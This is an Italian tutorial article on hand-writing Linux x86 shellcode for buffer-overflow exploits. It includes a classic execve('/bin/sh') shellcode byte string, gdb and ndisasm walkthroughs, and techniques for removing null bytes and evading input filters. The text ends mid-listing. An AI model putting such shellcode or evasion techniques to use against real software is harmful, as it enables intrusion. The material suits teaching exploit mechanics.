Articoli Manifesto Tools Links Canali Libri Contatti ?
Sicurezza / Exploits

Creazione di uno ShellCode da zero

Abstract
In questo articolo verrà affrontata la problematica di come scrivere un exploit, allo scopo di far eseguire ad un secondo programma vulnerabile (solitamente a causa di un buffer overflow) un codice arbitrario, passandoglielo all'interno di un buffer appositamente studiato.
Data di stesura: 02/11/2003
Data di pubblicazione: 12/01/2004
Ultima modifica: 04/04/2006
di Andrea Fabrizi Discuti sul forum   Stampa

Requisiti minimi

  • Conoscenza di GNU Linux
  • Ottima conoscenza di Assembler per x86
  • Minima conoscenza del C

Disclaimer

Come al solito, prima di iniziare, premetto che non mi assumo nessuna responsabilità sull'uso "improprio" che potete fare di questo tutorial.
Il mio unico scopo è quello di farvi comprendere una delle parti fondamentali del processo di attacco, da parte di un hacker, ad un sistema remoto: la scrittura e rielaborazione del famoso "codice arbitrario" da far eseguire al processo "exploitato", appunto dopo essersene impadroniti.

Introduzione

Nel tutorial che ho scritto riguardante il Buffer Overflow e la stesura di Exploit[1] si è parlato appunto del processo di coding di un exploit, allo scopo di far eseguire ad un secondo programma vulnerabile un codice arbitrario (che non era altro che il codice che lanciava /bin/sh), passandoglielo all'interno di un buffer appositamente studiato.
Lo scopo di questo tutorial è infatti quello di capire in che modo viene realizzato tale codice, detto solitamente ShellCode, poiché nella maggior parte dei casi non è possibile utilizzarne uno già "codato", ma è necessario realizzarne uno appositamente studiato per il processo da "exploitare".

Sicuramente chi già mi conosce si sarà reso conto che un tutorial del genere l'ho già scritto in precedenza, chiamato proprio Creare un ShellC0de[2]. Tuttavia tra quel tutorial e questo tutorial passa una bella differenza...
In primo luogo nel primo il codice Assembler dello ShellCode veniva ricavato dal disassemblaggio del codice binario proveniente dalla compilazione di un sorgente C, che appunto eseguiva la chiamata execve() su "/bin/sh"; in questo invece il codice Assembler verrà scritto manualmente a partire da zero, ed è infatti proprio per questo che è richiesta un'ottima conoscenza di questo linguaggio.
In secondo luogo nel primo tutorial, oltre che a dare molto per scontato alcuni passi che secondo me erano troppo semplici per essere spiegati ho anche trattato solamente la scrittura di un codice che appunto eseguisse una execve su "/bin/sh" senza portare altri esempi, magari partendo da uno più semplice; dico questo perché ho ricevuto moltissime email che me lo facevano notare... Infatti in questo tutorial, oltre al fatto che cercherò di spiegare passo passo quello che si fa, partirò anche da esempi basilari; da notare però che con esempi basilari intendo sì esempi semplici, ma per chi già conosce il linguaggio Assembler, e che quindi in realtà potrebbero sembrare molto complessi per chi non lo digerisce molto; ma purtroppo questo non è un manuale di ASM, quindi se avete intenzione di proseguire è meglio che sappiate a cosa state andando incontro!

Perché scrivere shellcode

Una domanda che molti si faranno è: "Ma perché devo imparare una cosa tanto complicata se mi basta andare in giro per la rete e scaricare shellcode belli e fatti?!?"
Beh, la risposta che mi verrebbe subito di dare è che se non si ha voglia di imparare è meglio lasciar stare (che fa anche rima).
Tuttavia il motivo principale è più tecnico che filosofico: infatti quando il nostro target è un software di una certa complessità, sicuramente non sarà sprovvisto di sistemi di sicurezza che tenteranno in tutti i modi di filtrare i nostri attacchi e quindi di rendere i nostri sforzi vani.
Infatti le situazioni che in genere si possono trovare sono le seguenti:
  • Il programma in questione esegue delle funzioni, del tipo toUpper o toLower (a prescindere con quale linguaggio sia stato scritto) su tutte le stringhe che gli vengono passate. È ovvio che in questo caso se noi gli passassimo un buffer contenente uno shellcode e se questo shellcode avesse per esempio sia caratteri maiuscoli che minuscoli, una qualsiasi delle due funzioni lo modificherebbe radicalmente rendendolo inutilizzabile. L'unico modo quindi per aggirare questa protezione è quello di SCRIVERSI DA SÉ uno shellcode rappresentato da tutti caratteri in minuscolo se il software applica un toLower o tutti caratteri in maiuscolo se applica un toUpper. Ovviamente questa non è per niente una cosa semplice...
  • Il programma in questione esegue un parsing delle stringhe che gli passiamo (oppure il firewall dietro il quale gira lo fa) alla ricerca di porzioni di testo a lui "familiari", in modo da capire se si tratta di una semplice stringa o di un codice nocivo e quindi stabilire se far passare il tutto oppure filtrarlo. Anche qui la stesura di uno shellcode che non faccia insospettire il parser è abbastanza complessa...
Come questi sistemi di sicurezza ce ne sono moltissimi, grazie proprio alla fantasia e all'abilità dei programmatori che li realizzano. Beh, noi dobbiamo essere altrettanto furbi, realizzando ShellC0de perfetti e ben mascherati in modo da ingannare anche il parser più sicuro che esista (non esiste...).

Penso che ora si sia ben capito il motivo per il quale il processo di stesura dello shellcode è forse più importante di tutto il resto (dopo la ricerca del bug che ci permette di farlo eseguire ovviamente!).

Lo shellcode

Sicuramente siete stati sempre abituati a vedere uno shellcode in questo modo:
  1. char shellcode[]= 
  2. "\xeb\x1f\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46" 
  3. "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80" 
  4. "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff" 
  5. "/bin/sh"; 
come un susseguirsi di strani simboli che terminano con una stringa a voi nota: "/bin/sh". Questa strana roba sembra non avere senso, ma... sembra... infatti ha molto senso, basta guardarla sotto un altro punto di vista:
  1. char shellcode[]= 
  2. "\xeb\x1f"              /* jmp    +1F (31 byte) */ 
  3. "\x5e"                  /* pop    %esi */ 
  4. "\x31\xc0"              /* xor    %eax,%eax */ 
  5. "\x88\x46\x07"          /* mov    %al,0x7(%esi) */ 
  6.  
  7. /* etc etc.. */  
  8.  
  9. "\x89\x76\x08\x89\x46" 
  10. "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56" 
  11. "\x0c\xb0\x0b\xcd\x80\x31\xdb\x89" 
  12. "\xd8\x40\xcd\x80\xe8\xdc\xff\xff" 
  13. "\xff" 
  14. "/bin/sh"; 
Tutti questi simboli non sono altro che una rappresentazione in linguaggio macchina (espresso in codice esadecimale) di un chiaro codice assembler.
Non ci credete? Allora provate questo trucchetto che uso per ricavare da uno shellcode il corrispondente codice ASM.

Create un file .pl (perl) del genere:

  1. #!/usr/bin/perl -w 
  2.  
  3. $shellcode= 
  4. "\xe9\x27\x00\x00\x00". 
  5. "\x5e". 
  6. "\x31\xc0". 
  7. "\x88\x46\x07". 
  8. "\x89\x76\x08". 
  9. "\x89\x46\x0c". 
  10. "\x89\xf3". 
  11. "\x8d\x4e\x08". 
  12. "\x8d\x56\x0c". 
  13. "\xb8\x0b\x00\x00\x00". 
  14. "\xcd\x80". 
  15. "\xbb\x00\x00\x00\x00". 
  16. "\xb8\x01\x00\x00\x00". 
  17. "\xcd\x80". 
  18. "\xe8\xd4\xff\xff\xff". 
  19. "/bin/sh"; 
  20.  
  21. open(FILE, ">shellcode.bin"); 
  22. print FILE "$shellcode"; 
  23. close(FILE); 
in cui inserirete il vostro shellcode al posto di quello che ho messo io (badate ai "." alla fine di ogni riga).
Basterà eseguirlo da una shell così:
bash-2.05b$ perl disassemble.pl
Verrà creato nella stessa directory un nuovo file, appunto "shellcode.bin".
Ora non resta che eseguire:
bash-2.05b$ ndisasm shellcode.bin
00000000  E92700            jmp 0x2a
00000003  0000              add [bx+si],al
00000005  5E                pop si
00000006  31C0              xor ax,ax
00000008  884607            mov [bp+0x7],al
0000000B  897608            mov [bp+0x8],si
0000000E  89460C            mov [bp+0xc],ax
00000011  89F3              mov bx,si
00000013  8D4E08            lea cx,[bp+0x8]
00000016  8D560C            lea dx,[bp+0xc]
00000019  B80B00            mov ax,0xb
0000001C  0000              add [bx+si],al
0000001E  CD80              int 0x80
00000020  BB0000            mov bx,0x0
00000023  0000              add [bx+si],al
00000025  B80100            mov ax,0x1
00000028  0000              add [bx+si],al
0000002A  CD80              int 0x80
0000002C  E8D4FF            call 0x3
0000002F  FF                db 0xFF
00000030  FF2F              jmp far [bx]
00000032  62696E            bound bp,[bx+di+0x6e]
00000035  2F                das
00000036  7368              jnc 0xa0
bash-2.05b$
Come per miracolo ecco che ci viene stampato un codice ASM, corrispondente proprio allo shellcode considerato. Se vi va potete anche automatizzare il tutto con uno script bash come ho fatto io.

Tornando al nostro discorso, il classico stato in cui siete abituati a vedere uno shellcode, è dato semplicemente da una conversione effettuata con gdb del codice asm scritto, ma questo lo vedremo bene dopo.
Adesso iniziamo con la parte più interessante, la vera e propria programmazione dello shellcode.

Esempio di un inutile shellcode

Per iniziare vediamo come realizzare un semplicissimo e allo stesso tempo completamente inutile shellcode, che dopo uno sforzo mentale estremo ho deciso di organizzare in questo modo: lo shellcode deve stamparci a schermo il testo "sono inutile".

Allora vediamo un po' da dove iniziare: innanzitutto se state leggendo questa parte presumo che abbiate già avuto esperienze con l'ASM, quindi avrete una tecnica di programmazione già definita.
Scegliete quindi il modo che preferite per programmare, "codando" un file *.ASM, *.S o come farò io, poichè mi sembra più comodo, inserire il tutto in un "buono e sano" sorgente *.C.

Apriamo il nostro amato VIM e creiamo un nuovo file, che io chiamerò shellcode.c tanto per rimanere nell'argomento, ed impostiamo la "maschera" di base per "codare" codice asm:

  1. main() 
  2.         __asm__(" 
  3.  
  4.         #qui il codice 
  5.  
  6.         "); 
Colgo l'occasione per rammentarvi che nel codice ASM possiamo commentare anche con un "#" oltre che con i classici "//" e "/* */".

Il nostro scopo è quello di:

  • Stampare a schermo il testo "sono inutile"
  • Uscire in modo pulito dal programma, quindi con exit(0)
Per fare questo abbiamo bisogno delle così dette syscall, cioè di quelle chiamate a funzioni proprie del kernel che ci permettono di eseguire le operazioni fondamentali di sistema. In generale gran parte delle funzioni standard del C ha una corrispondente syscall.
Ma infatti, in fin dei conti, ogni linguaggio, man mano che si sale di livello, non è altro che un traduttore sempre più avanzato che converte il codice di programmazione, semplice e facile da "codare", in codice asm, molto più complesso e articolato.

Per una lista di tutte le i386-PC-Linux System Calls vi rimando alla pagina http://www.lxhp.in-berlin.de/lhpsysc0a.html, che sarà per voi un ottimo punto di riferimento.

Tornando al nostro shellcode, se vogliamo entrare più nel tecnico le syscall che ci interessano sono sys_write e sys_exit che necessitano rispettivamente dei seguenti argomenti:

sys_write:

  1. dispositivo di output
  2. puntatore alla stringa da stampare
  3. numero di caratteri da stampare

sys_exit:

  1. exit code (0 per una uscita corretta)
Vediamo ora come implementare la cosa:
  1. main() 
  2.  
  3.         char *var; 
  4.         var = "\nsono inutile\n"; /* 14 byte */ 
  5.  
  6.         printf("\nOffset var: %p\n", var); 
  7.  
  8.         __asm__(" 
  9.  
  10.         #write 
  11.         movl $0xe,%edx 
  12.         movl $0x8048454,%ecx 
  13.         movl $0x1,%ebx 
  14.         movl $0x4,%eax           
  15.         int $0x80  
  16.  
  17.         #exit 
  18.         movl $0x0,%ebx 
  19.         movl $0x1,%eax 
  20.         int $0x80 
  21.         "); 
  22.  
In questa prima versione, una parte del codice è stata implementata in C per semplificare le cose.
Vediamo ora di esaminare per bene cosa fa.

Codice C:

  • Creazione del puntatore var
  • Assegnazione al puntatore var dell'indirizzo della stringa
  • Stampa dell'indirizzo della stringa, che sarà necessario nel codice ASM
Codice ASM:
  • Posizionamento degli argomenti di sys_write nei rispettivi registri
  • Posizionamento della lunghezza della stringa in %edx (14 byte = 0xe in HEX)
  • Posizionamento del puntatore alla stringa (restituito dalla printf) in %ecx
  • Posizionamento del riferimento al dispositivo di output in %ebx (stdout = 1)
  • Posizionamento in %eax del codice della syscall da chiamare (write = 4)
  • Si entra in kernel mode con l'interrupt $0x80
  • Posizionamento dell'exit code in %ebx (exitcode = 0)
  • Posizionamento in %eax del codice della syscall da chiamare (exit = 1)
  • Si entra in kernel mode con l'interrupt $0x80
Chiaro no?
Per quanto riguarda i codici delle syscall, essi sono elencati nel sito che vi ho segnalato prima. Ovviamente l'ordine in cui passiamo gli argomenti nei registri non è importante, infatti se invece di:
  1. movl $0xe,%edx 
  2. movl $0x8048454,%ecx 
  3. movl $0x1,%ebx 
  4. movl $0x4,%eax 
  5. int $0x80 
avessimo scritto:
  1. movl $0x4,%eax 
  2. movl $0x1,%ebx 
  3. movl $0x8048454,%ecx 
  4. movl $0xe,%edx 
  5. int $0x80 
sarebbe stata la stessa cosa, per il kernel linux non cambia.
Se invece ci fossimo trovati su un sistema BSD, dove gli argomenti vanno inseriti via push nello stack, allora in quel caso l'ordine sarebbe stato determinante.

Se ora si prova a compilare ed eseguire shellcode.c si otterrà, come voluto :

bash-2.05b$ ./shellcode

Offset var: 0x8048454

sono inutile
bash-2.05b$
Ora però vogliamo raffinare il nostro codice, eliminando completamente la parte in C e scrivendo il tutto in ASM.
La cosa non sembrerebbe molto difficile, infatti basterebbe allocare la stringa con la funzione .string "sono inutile" e mettere al posto di 0x8048454 l'indirizzo della stringa nel codice.
La cosa tuttavia non è così immediata... infatti.. quale sarebbe l'indirizzo della stringa?
Per risolvere questo enigma si possono utilizzare vari metodi, tra i quali io preferisco questo (che poi è il più usato):
[jmp 0x1] (0x2) [pop %reg][codice asm] (0x1) [call 0x2]["sono inutile"]
Per comprendere questo schema facciamo prima un piccolo studio sulla funzione call.

La Call è una funzione ASM che permette di richiamare funzioni esterne al codice del programma. Esse in genere prendono argomenti passati dal programma stesso tramite lo stack e restituiscono un risultato, in genere passato sempre tramite stack.
Se come abbiamo detto quando viene effettuata la CALL la normale esecuzione del programma salta ad un indirizzo di memoria specificato per eseguire la funzione, quando questa terminerà come farà il programma a tornare ad eseguire dalla posizione da dove si era interrotto per chiamare la CALL? È semplice, quando la call viene invocata viene salvato sullo stack l'indirizzo subito successivo ad essa; viene poi eseguita la funzione chiamata fino a quando non si incontra l'istruzione RET che in pratica fa questo:

  • Interrompe l'esecuzione della funzione
  • Legge dallo stack l'indirizzo salvato in precedenza dalla call
  • Salta a quell'indirizzo
  • L'esecuzione del programma continua da questo punto
Questa caratteristica della CALL può essere usata a nostro favore; Seguite infatti il mio ragionamento, che segue passo passo lo schema sopra riportato:
  • JMP salta all'indirizzo 0x1
  • Viene invocata la CALL
    • Viene salvato l'indirizzo ad essa successivo (quindi l'indirizzo della stringa!) sullo stack
    • Salta all'indirizzo 0x2
  • POP prende il valore che è sullo stack (l'indirizzo della stringa) e lo mette in un registro
Bene adesso abbiamo l'indirizzo della stringa in un registro, e quindi possiamo usarlo come meglio crediamo!
Utilizzando questo metodo otterremo un codice del genere:
  1. main() 
  2.  
  3.         __asm__(" 
  4.  
  5.         jmp 0x1 
  6.  
  7.         #0x2 
  8.         pop %esi 
  9.  
  10.         #write 
  11.         movl $0xe,%edx 
  12.         movl %esi,%ecx 
  13.         movl $0x1,%ebx 
  14.         movl $0x4,%eax 
  15.         int $0x80 
  16.  
  17.         #exit 
  18.         movl $0x0,%ebx 
  19.         movl $0x1,%eax 
  20.         int $0x80 
  21.  
  22.         #0x1 
  23.         call 0x2 
  24.         .string \"\nsono inutile\n\" 
  25.  
  26.         "); 
  27.  
Fin qui non dovrebbero esserci problemi, infatti non ho fatto altro che applicare alla lettera la tecnica che ho spiegato sopra.
Ora non ci resta che sostituire agli indirizzi fittizi 0x1 con quelli reali; per far questo compiliamo il nostro programma (se volete potete provare ad avviare, ottenendo un errore di segmentazione!) e disassembliamo con gdb:
bash-2.05b$ gdb shellcode
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x0804830c <main+0>:    push   %ebp
0x0804830d <main+1>:    mov    %esp,%ebp
0x0804830f <main+3>:    sub    $0x8,%esp
0x08048312 <main+6>:    and    $0xfffffff0,%esp
0x08048315 <main+9>:    mov    $0x0,%eax
0x0804831a <main+14>:   sub    %eax,%esp
0x0804831c <main+16>:   jmp    0x1
0x08048321 <main+21>:   pop    %esi
0x08048322 <main+22>:   mov    $0xe,%edx
0x08048327 <main+27>:   mov    %esi,%ecx
0x08048329 <main+29>:   mov    $0x1,%ebx
0x0804832e <main+34>:   mov    $0x4,%eax
0x08048333 <main+39>:   int    $0x80
0x08048335 <main+41>:   mov    $0x0,%ebx
0x0804833a <main+46>:   mov    $0x1,%eax
0x0804833f <main+51>:   int    $0x80
0x08048341 <main+53>:   call   0x2
0x08048346 <main+58>:   or     0x6f(%ebx),%dh
0x08048349 <main+61>:   outsb  %ds:(%esi),(%dx)
0x0804834a <main+62>:   outsl  %ds:(%esi),(%dx)
0x0804834b <main+63>:   and    %ch,0x6e(%ecx)
0x0804834e <main+66>:   jne    0x80483c4 <__libc_csu_fini+52>
0x08048350 <main+68>:   imul   $0x90c3c900,0xa(%ebp,2),%ebp
0x08048358 <main+76>:   nop
0x08048359 <main+77>:   nop
0x0804835a <main+78>:   nop
0x0804835b <main+79>:   nop
0x0804835c <main+80>:   nop
0x0804835d <main+81>:   nop
0x0804835e <main+82>:   nop
0x0804835f <main+83>:   nop
End of assembler dump.
(gdb)
Come si nota il nostro codice va da <main+16> a <main+57> (da notare che anche se la call è all'indirizzo <main+53> in realtà trovandosi l'istruzione ad essa successiva a <main+58> significa che la call arriva fino a <main+57>).

Ok allora, il JMP deve saltare alla CALL giusto?
Beh, la call si trova all'indirizzo 0x08048341, quindi l'istruzione sarà "jmp 0x08048341".
Allo stesso modo l'istruzione per la call sarà "call 0x08048321".

Mi raccomando, ricordate che gli indirizzi di memoria a cui faccio riferimento, sul vostro sistema potrebbero essere DIFFERENTI!
Quindi non preoccupatevi se le cose non combaciano perfettamente, basta sostituire gli indirizzi di cui parlo io con quello effettivi sul vostro sistema.

Sostituiamo le istruzioni al listato di prima e otteniamo:

  1. main() 
  2.   
  3.        __asm__(" 
  4.  
  5.         jmp 0x08048341 
  6.  
  7.         #0x2 
  8.         pop %esi 
  9.  
  10.         #write 
  11.         movl $0xe,%edx 
  12.         movl %esi,%ecx 
  13.         movl $0x1,%ebx 
  14.         movl $0x4,%eax 
  15.         int $0x80 
  16.  
  17.         #exit 
  18.         movl $0x0,%ebx 
  19.         movl $0x1,%eax 
  20.         int $0x80 
  21.  
  22.         #0x1 
  23.         call 0x08048321 
  24.         .string \"\nsono inutile\n\" 
  25.  
  26.         "); 
  27.  
Compliliamo e avviamo e come ci si aspettava:
bash-2.05b$ ./shellcode

sono inutile
bash-2.05b$
Abbiamo realizzato un codice ASM funzionante.
Ora non dobbiamo far altro che convertire tale codice in uno ShellC0de. Per fare questo disassembliamo di nuovo con il nostro fidato gdb, tenendo presente che il codice che a noi interessa va da <main+16> a <main+57>:
bash-2.05b$ gdb shellcode
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
(gdb) x/50bx main+16
0x804831c <main+16>:    0xe9    0x20    0x00    0x00    0x00    0x5e    0xba    0x0e
0x8048324 <main+24>:    0x00    0x00    0x00    0x89    0xf1    0xbb    0x01    0x00
0x804832c <main+32>:    0x00    0x00    0xb8    0x04    0x00    0x00    0x00    0xcd
0x8048334 <main+40>:    0x80    0xbb    0x00    0x00    0x00    0x00    0xb8    0x01
0x804833c <main+48>:    0x00    0x00    0x00    0xcd    0x80    0xe8    0xdb    0xff
0x8048344 <main+56>:    0xff    0xff    [qui]   0x73    0x6f    0x6e    0x6f    0x20
0x804834c <main+64>:    0x69    0x6e
(gdb)
Dando il comando x/50bx main+16, gdb ci mostra il codice HEX dei 50 byte successivi a <main+16>. Dovendo noi considerare il codice fino a <main+57>, quello che ci interessa è fino al label [qui] che ho inserito io.

Adesso copiamo il tutto in un nuovo file, aggiungendo la stringa da stampare alla fine dello shellcode e utilizzando 3 semplici righe di codice C per avviare lo shellcode. In generale per testare uno shellcode si usa sempre un programmino del genere.
In alternativa si può chiamare al solito una funzione del tipo __asm__("call indirizzo_shellcode");.
Come preferite.

  1. char shellcode[]= 
  2. "0xe9    0x20    0x00    0x00    0x00    0x5e    0xba    0x0e" 
  3. "0x00    0x00    0x00    0x89    0xf1    0xbb    0x01    0x00" 
  4. "0x00    0x00    0xb8    0x04    0x00    0x00    0x00    0xcd" 
  5. "0x80    0xbb    0x00    0x00    0x00    0x00    0xb8    0x01" 
  6. "0x00    0x00    0x00    0xcd    0x80    0xe8    0xdb    0xff" 
  7. "0xff    0xff" 
  8. "\nsono inutile\n"; 
  9.  
  10.  
  11. main() 
  12.           int *ind; 
  13.           ind = (int *)&ind + 2; 
  14.           (*ind) = (int)shellcode; 
Ora diamo una riordinata allo shellcode, eliminando gli spazi e sostituendo gli spazi e gli "0x" con "\x"; per far questo usate tranquillamente la funzione find-replace del vostro editor di testo preferito. Io per VIM utilizzerò "s/ 0/\\/g10".

Otteniamo quindi (questa volta ho utilizzato l'altro metodo per avviare lo shellcode):

  1. char shellcode[]= 
  2. "\xe9\x20\x00\x00\x00\x5e\xba\x0e" 
  3. "\x00\x00\x00\x89\xf1\xbb\x01\x00" 
  4. "\x00\x00\xb8\x04\x00\x00\x00\xcd" 
  5. "\x80\xbb\x00\x00\x00\x00\xb8\x01" 
  6. "\x00\x00\x00\xcd\x80\xe8\xdb\xff" 
  7. "\xff\xff" 
  8. "\nsono inutile\n"; 
  9.  
  10.  
  11. main() 
  12.          printf ("\nIndirizzo shellcode: %p\n", shellcode); 
  13.  
  14.          __asm__("call 0x8049480"); 
Compiliamo, avviamo e ovviamente:
bash-2.05b$ ./shell

Indirizzo shellcode: 0x8049480

sono inutile
bash-2.05b$
Mh ... non vi è sembrata troppo facile la cosa?!?
Possibile non ci sia nessun intoppo?!?
Beh, in effetti ... pensiamo:
  • Noi stiamo scrivendo uno shellcode che utilizzeremo probabilmente in un exploit ...
  • L'exploit sfrutterà una qualche vulnerabilità... molto probabilmente un uso improprio di funzioni com strcpy(), strcat() & company
  • Ma comunque anche se usasse qualsiasi altro tipo di vulnerabilità sarà molto probabile che lo shellcode passerà attraverso una qualche funzione di quelle, comprese per esempio anche strncpy(), etc ... qualsiasi di queste insomma!
Beh, a questo punto ci viene un grosso dubbio ... infatti se conoscete un po' di struttura del software (in particolare riguardo il C) saprete che una stringa viene individuata in memoria tramite due punti di riferimento, il punto di inizio e il punto di fine che sono rappresentati rispettivamente dall'indirizzo della stringa e dal byte NULLO che la termina.
Infatti se io passassi il nostro shellcode ad un software qualsiasi, esso al 98% userà una funzione str* su di essa e nel momento in cui tale funzione incontrerà un byte nullo (0x0 o in stile shellcode \x00, per la cronaca) lo interpreterà come fine stringa!!! copiando quindi fino al byte ad esso subito precedente e scartando tutto quello che viene dopo!

Questo è un grosso problema per noi! Un grossissimo problema! Non possiamo permetterci di perdere pezzi di shellcode, come immaginerete non funzionerebbe più!
L'unico modo per ovviare a tutto ciò è quello di modificare il codice ASM in modo che, convertito in HEX (per lo shellcode), non contenga NESSUN byte nullo.
La cosa sembrerebbe alquanto ardua, ma in realtà non lo è più di tanto per degli esperti "Assemblari" come noi!

Per iniziare vediamo un po' di organizzare per bene il nostro shellcode affiancandogli dei commenti che rappresentano la funzione ASM corrispondente; per far questo basta disassemblare shellcode.c e vedere da quanti byte è costituita ogni istruzione, riportando il tutto su shell.c.

  1. char shellcode[]= 
  2. "\xe9\x20\x00\x00\x00"                  /* jmp    0x8048341 */ 
  3. "\x5e"                                  /* pop    %esi */ 
  4. "\xba\x0e\x00\x00\x00"                  /* mov    $0xe,%edx */ 
  5. "\x89\xf1"                              /* mov    %esi,%ecx */ 
  6. "\xbb\x01\x00\x00\x00"                  /* mov    $0x1,%ebx */ 
  7. "\xb8\x04\x00\x00\x00"                  /* mov    $0x4,%eax */ 
  8. "\xcd\x80"                              /* int    $0x80 */ 
  9. "\xbb\x00\x00\x00\x00"                  /* mov    $0x0,%ebx */ 
  10. "\xb8\x01\x00\x00\x00"                  /* mov    $0x1,%eax */ 
  11. "\xcd\x80"                              /* int    $0x80 */ 
  12. "\xe8\xdb\xff\xff\xff"                  /* call   0x8048321 */ 
  13. "\nsono inutile\n"; 
  14.  
  15.  
  16. main() 
  17.          printf ("\nIndirizzo shellcode: %p\n", shellcode); 
  18.  
  19.          __asm__("call 0x8049480"); 
Una cosa che volevo far notare prima di iniziare con le modifiche è il fatto che per esempio l'istruzione "jmp 0x8048341" viene tradotta in "\xe9\x20\x00\x00\x00"; bene ora \xe9 rappresenta jmp, ma possibile che x20 rappresenti 0x8048341?!? Certo che no ...
Infatti 0x8048341 è un indirizzo che varia da sistema a sistema, quindi ovviamente non può essere incluso in uno shellcode che deve girare sotto sistemi differenti. Infatti il nostro caro gdb al momento del disassemblamento ha ricavato che 0x8048341 si riferiva ad un indirizzo di memoria presente 32 byte dopo lo stesso jmp (contate se non ci credete) e non ha fatto altro che dire a jmp: "salta 32 byte dopo di te" che tradotto in HEX (32 = 0x20) "jmp 0x20". Ecco perché il nostro shellcode funzionerà su qualsiasi sistema e a qualsiasi indirizzo viene posizionato!
La stesa cosa è stata fatta per la CALL.

Metodo 1

Tornando al nostro shellcode, ci sono veramente molti null byte da eliminare, in particolare nelle funzioni mov in cui spostiamo un valore in un registro.
Questo per il semplice fatto che i registri usati sono a 32 bit e ci stiamo mettendoci dentro valori a 8 bit; quindi nei restanti 24 bit che ci mettiamo?
Null Byte ovviamente.
Ecco che quindi abbiamo già trovato una possibile soluzione: usiamo registri a 8 bit invece di quelli a 32.
Vi riporto un piccolo schemino dei registri:
32 Bit  16 Bit  8 Bit (High)    8 Bit (Low)
EAX     AX      AH              AL
EBX     BX      BH              BL
ECX     CX      CH              CL
EDX     DX      DH              DL
Con questo semplice metodo risolveremmo il problema nelle istruzioni mov ma comunque rimarrebbe in jmp. Quindi essendo il metodo dei registri molto semplice da attuare preferisco convertire lo shellcode con metodi differenti e anche un po' più carini in modo da prepararvi a qualsiasi evenienza per la vostra carriera di Assembly Coders!

Ci sono infatti moltissimi metodi per eliminare questi null byte, se ne possono inventare anche di nuovi quando si è capita la tecnica e secondo me è proprio questa la parte più divertente di tutto il lavoro.
È proprio grazie a queste tecniche che ogni shellcode differisce dall'altro.
Sono sicuro che se ognuno di voi che legge realizzasse uno shellcode, alla fine quelli ottenuti sarebbero l'uno diverso dall'altro, ed è proprio questo il bello!

Torniamo allo shellcode e ai nostri NULL byte.
Consideriamo la terza istruzione:

"\xba\x0e\x00\x00\x00"          /* mov    $0xe,%edx */

Metodo 2

Allora, il nostro scopo è quello di ottenere alla fine di qualsiasi cosa facciamo il valore 0xe, quindi 14 in decimale, in %edx. Ok pensiamo!
Il problema sta nel fatto che noi copiamo un valore ad 8 bit in un registro a 32 bit, quindi ovviamente i 24 bit rimanenti, nei quali il valore non è definito, sono riempiti con dei 0x0.
Se noi facessimo un giochetto:
  • mettiamo in %edx un valore a 32 bit tipo 0xffffffff che quindi non lascerà null byte
  • sottraiamo da %edx un valore tale che il risultato della sottrazione sia proprio 0xe, quindi 14 in %edx avremo proprio 14!
Vediamo come fare (munitevi di una calcolatrice scientifica che vi serve):
movl $0xffffffff,%edx
subl $0xfffffff1,%edx

0xffffffff - 0xfffffff1 = 0xe
Semplice no?
Il nostro scopo è raggiunto: abbiamo 0xe in %edx senza che sia generato nessun null byte.

Metodo 3

Allora, pensando un momento mi viene in mente qualche altra cosetta: se noi azzerassimo %edx e poi creassimo un ciclo che lo incrementa di 1 fino a quando non equivale a 14?
Proviamo:
xorl %edx,%edx
#0x1
inc %edx
cmp $0xe,%edx
jne 0x1         #salta di nuovo all' inc
A questo punto inseriamo il codice al posto del mov in shellcode.c, compiliamo, disassembliamo e risistemiamo tutti gli indirizzi del jmp, della call (che saranno cambiati a causa dell'inserimento delle nuove istruzioni) e del jne.
Volendo questo è un metodo utilizzabile sempre, in modo da non dover mettersi a fare conti.

Metodo 4

Quando si deve posizionare proprio un byte nullo in un registro, come nell'istruzione:
movl $0x0,%ebx
basta resettare il registro bit per bit con
xorl %ebx,%ebx
Già starete capendo che ci sono infiniti metodi di risoluzione del problema dei null byte, basterà mettere in moto la fantasia!
L'unica scomodità potrebbe risiedere nel fatto che ad ogni modifica bisogna andare a ricontrollare tutti gli argomenti di funzioni come jmp e call, poiché inserendo nuove istruzioni modifichiamo la lunghezza del codice e quindi gli indirizzi a cui si trovano le varie istruzioni cambiano.

Tramite questi metodi ho ora modificato tutto il codice precedente, ottenendo questo:

  1. main() 
  2.  
  3.         __asm__(" 
  4.  
  5.         jmp 0x08048344 
  6.         pop %esi 
  7.  
  8.         #write 
  9.  
  10.         #movl $0xe,%edx 
  11.         xorl %edx,%edx 
  12.         inc %edx 
  13.         cmp $0xe,%edx 
  14.         jne 0x08048324 
  15.  
  16.         #non va cambiata 
  17.         movl %esi,%ecx 
  18.  
  19.         #movl $0x1,%ebx 
  20.         xorl %ebx,%ebx 
  21.         inc %ebx 
  22.  
  23.         #movl $0x4,%eax 
  24.         movl $0xffffffff,%eax 
  25.         subl $0xfffffffb,%eax 
  26.         int $0x80 
  27.  
  28.         #exit 
  29.  
  30.         #movl $0x0,%ebx 
  31.         xorl %ebx,%ebx 
  32.  
  33.         #movl $0x1,%eax 
  34.         xorl %eax,%eax 
  35.         inc %eax 
  36.  
  37.         int $0x80 
  38.  
  39.         #0x1 
  40.         call 0x08048321 
  41.         .string \"\nsono inutile\n\" 
  42.  
  43.         "); 
  44.  
Ho commentato il comando originale e sotto ho messo quelli che lo sostituiscono.
Compilando, disassemblando, riportando il tutto in shell.c e commentando lo shellcode con i relativi comandi otteniamo:
  1. char shellcode[]= 
  2. "\xe9\x23\x00\x00\x00"                          /* jmp    0x8048344 */ 
  3. "\x5e"                                          /* pop    %esi */ 
  4. "\x31\xd2\x42"                                  /* xor    %edx,%edx */ 
  5. "\x83"                                          /* inc    %edx */ 
